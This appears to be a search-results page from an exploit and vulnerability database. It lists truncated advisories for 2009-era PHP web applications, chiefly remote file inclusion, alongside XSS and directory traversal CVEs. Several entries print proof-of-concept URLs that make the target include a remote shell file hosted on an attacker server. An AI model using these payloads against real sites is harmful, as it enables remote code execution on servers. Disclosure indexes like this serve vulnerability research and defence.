9059 matches found
AdaptCMS Lite Cross Site Scripting and Remote File Include Vulnerabilities
AdaptCMS Lite is prone to multiple cross-site scripting vulnerabilities and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow...
Joomla MojoBlog Component v0.15 Multiple Remote File Include Vulnerabilities
No description provided by source. Joomla Component MojoBlog Multiple Remote File Include vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : November 20, 2009 Software Information + Vendor : http://www.joomlify.com/ + Download :...
Joomla MojoBlog Component v0.15 Multiple Remote File Include
Exploit for unknown platform in category web applications ============================================================================ Joomla MojoBlog Component v0.15 Multiple Remote File Include Vulnerabilities ============================================================================ Software...
Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ========================================================================= Public Media Manager PoC : http://server/path/comcal/calmenu.php?formsdir=http://attacker.com/shell.txt?cmd 0day.today 2018-04-05...
Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager = 1.3 formsdir Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/pmm-cms/files/ Dork : die"Lamers attempt"; :D Vuln : ./pmm-cms-1.3/comcal/calmenu.php line 4...
CVE-2009-4088
Multiple directory traversal vulnerabilities in telepark.wiki 2.4.23 and earlier allow remote attackers to read arbitrary files via directory traversal sequences in the css parameter to 1 getjs.php and 2 getcsslocal.php; and include and execute arbitrary local files via the 3 group parameter to...
SweetRice <= 0.5.3 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ==================================================== SweetRice PoC : http://server/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 0day.today 2018-03-28...
Sugar CRM 5.5.0.rc25.2.0j - Multiple Vulnerabilities
Sugar CRM 5.5.0.rc25.2.0j - Multiple Vulnerabilities Author: Janek Vind 'waraxe' Vulnerable: SugarCRM SugarCRM 5.5.0.RC2 SugarCRM SugarCRM 5.2.0j Product: http://www.sugarcrm.com/crm/ Description: SugarCRM is prone to multiple remote vulnerabilities, including: 1. Multiple SQL-injection...
SweetRice <= 0.5.3 Remote File Include Vulnerability
No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice = 0.5.0 Remote File Include Vulnerability Download Script : http://php.opensourcecms.com/scripts/redirect/download.php?id=353 Dork : die"lamers attempt"; :P Vuln :...
Sugar CRM 5.5.0.RC2 and 5.2.0j Multiple Remote Vulnerabilities
No description provided by source. Author: Janek Vind 'waraxe' Vulnerable: SugarCRM SugarCRM 5.5.0.RC2 SugarCRM SugarCRM 5.2.0j Product: http://www.sugarcrm.com/crm/ Description: SugarCRM is prone to multiple remote vulnerabilities, including: 1. Multiple SQL-injection vulnerabilities 2. Multiple...
CVE-2009-4032
Multiple cross-site scripting XSS vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to 1 graph.php, 2 include/topgraphheader.php, 3 lib/htmlform.php, and 4 lib/timespansettings.php, as demonstrated by the a graphend or b graphstart...
OpenCSP Multiple Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================== OpenCSP Multiple Remote File Include Vulnerability ==================================================...
OpenCSP Multiple Remote File Include Vulnerability
No description provided by source. @================================================================================================================================================@ + Location : notepad + Situs : wwwdotmanadocodingdotnet + Contact : engelpemulaatgmaildotcom + Download Script :...
outreach project tool 1.2.6 - Remote File Inclusion
Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://server/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all...
klinza Professional CMS 5.0.1 - menulast.php Local File Inclusion
klinza Professional CMS 5.0.1 - menulast.php Local File Inclusion source: https://www.securityfocus.com/bid/37127/info The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow...
NukeHall <= 0.3 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg NukeHall = 0.3 Multiple Remote File Include Vulnerability Download Script : http://sourceforge.net/project/NukeHall/files/ Dork : die"Hacking attempt"; :D Vuln : ./nukehall0.3/admin/modules/blocks.php line 28 ?php...
klinza Professional CMS 5.0.1 - 'menulast.php' Local File Inclusion
source: https://www.securityfocus.com/bid/37127/info The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...
PT-2009-5845 · Php · Php
Name of the Vulnerable Software and Affected Versions: PHP versions 5.3.x before 5.3.1 Description: The issue in PHP does not recognize the safe mode include dir directive, which allows context-dependent attackers to have an unknown impact by triggering the failure of PHP scripts that perform...
Outreach Project Tool 1.2.6 Remote File Inclusion
Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://target/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all...
CVE-2009-3559
main/streams/plainwrapper.c in PHP 5.3.x before 5.3.1 does not recognize the safemodeincludedir directive, which allows context-dependent attackers to have an unknown impact by triggering the failure of PHP scripts that perform include or require operations, as demonstrated by a script that...